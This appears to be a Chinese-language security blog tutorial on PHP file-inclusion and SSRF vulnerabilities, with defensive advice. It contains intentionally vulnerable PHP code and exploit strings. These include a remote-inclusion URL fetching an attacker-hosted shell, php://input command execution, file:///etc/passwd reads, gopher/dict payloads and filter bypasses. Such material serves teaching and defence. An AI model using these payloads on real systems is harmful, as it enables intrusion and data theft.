深入理解PHP安全漏洞:文件包含与SSRF攻击全解析

深入理解PHP安全漏洞:文件包含与SSRF攻击全解析

前言

在Web安全领域,PHP应用程序的安全问题一直备受关注。本文将深入探讨两种常见的PHP安全漏洞:文件包含漏洞和服务器端请求伪造(SSRF),帮助开发者理解漏洞原理、利用方式以及防御措施。

第一部分:文件包含漏洞详解

什么是文件包含漏洞?

文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。

危险函数

PHP中有四个主要的文件包含函数:

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞类型

1. 本地文件包含(LFI)

利用方式:

  • 直接读取Flag文件
  • 通过PHP伪协议读取源代码
  • 写入PHP木马获取webshell

示例代码:

php 复制代码
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {
    include '/home/www/'.$file.'.php';
} else {
    include '/home/www/'.'home.php';
}
?>

利用方法:

复制代码
http://www.example.com/demo1.php?file=flag.php%00
2. PHP伪协议利用

常用伪协议:

  1. file:// 协议:

    http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt

  2. php://filter

    http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

  3. php://input

    POST /index.php?file=php://input HTTP/1.1
    ...

    <?php system('id'); ?>
3. 远程文件包含(RFI)

必要条件:

  • allow_url_fopen = On
  • allow_url_include = On

示例代码:

php 复制代码
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>

利用方法:

复制代码
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?

防御措施

  1. 白名单验证

  2. 禁用危险配置:

    ini 复制代码
    allow_url_fopen = Off
    allow_url_include = Off
  3. 设置open_basedir

  4. 严格校验用户输入

  5. 避免动态包含

第二部分:SSRF漏洞深入解析

什么是SSRF?

SSRF(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的安全漏洞。攻击者可以利用此漏洞访问外网无法访问的内部系统。

常见危险函数

  1. file_get_contents()
php 复制代码
<?php
if (isset($_POST['url'])) {
    $content = file_get_contents($_POST['url']);
    $filename = '/images/'.rand().'img1.jpg';
    file_put_contents($filename, $content);
    echo $_POST['url'];
    $img = "<img src=\"".$filename."\"/>";
    echo $img;
}
?>
  1. fsockopen()
php 复制代码
<?php
function GetFile($host, $port, $link) {
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr (error number $errno) \n";
    } else {
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $contents = '';
        while (!feof($fp)) {
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
?>
  1. curl_exec()
php 复制代码
<?php
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj, CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($curlobj);
    curl_close($curlobj);
    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result);
    echo $result;
}
?>

SSRF绕过技巧

1. IP编码绕过
  • 使用xip.io域名:

    复制代码
    10.0.0.1.xip.io
  • IP转换为10进制

2. 协议变换
  • Dict协议:

    复制代码
    dict://192.168.1.1:8080/test:dict
  • Gopher协议:

    复制代码
    gopher://192.168.1.1/gopher
  • File协议:

    复制代码
    file:///etc/passwd
3. Gopher协议高级利用

Gopher协议可以攻击内网的多种服务:

  • FTP
  • Telnet
  • Redis
  • Memcache

Redis攻击示例:

php 复制代码
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>
4. filter_var()绕过
php 复制代码
<?php
$url = $_GET['url'];
echo "Argument: ".$url. "\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
    $r = parse_url($url);
    var_dump($r);
    if (preg_match('/skysec\.top$/', $r['host'])) {
        exec("curl -v -s ".$r['host']."", $a);
    } else {
        echo "Error: Host not allowed";
    }
} else {
    echo "Error: Invalid URL";
}
?>

绕过方法:

复制代码
http://example.com/test.php?url=0://192.168.1.1.com:8080;skysec.top:80/
5. 30x跳转绕过
php 复制代码
<?php
$url = $_GET['url'];
print $url;
curl($url);
function curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
}

防御SSRF的最佳实践

  1. 限制协议:只允许HTTP和HTTPS
  2. 禁止访问内网IP
  3. 设置URL白名单
  4. 禁用CURLOPT_FOLLOWLOCATION
  5. 使用DNS解析结果校验
  6. 过滤返回信息

结语

文件包含和SSRF漏洞都可能对Web应用造成严重威胁。作为开发者,理解这些漏洞的原理和利用方式,才能更好地防御它们。安全是一个持续的过程,需要开发者保持警惕并不断更新知识。

免责声明:本文所有技术内容仅用于教育目的和安全研究,未经授权对他人系统进行测试属于违法行为。

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1235 天前
matlab画图工具
开发语言·matlab
dustcell.5 天前
haproxy七层代理
java·开发语言·前端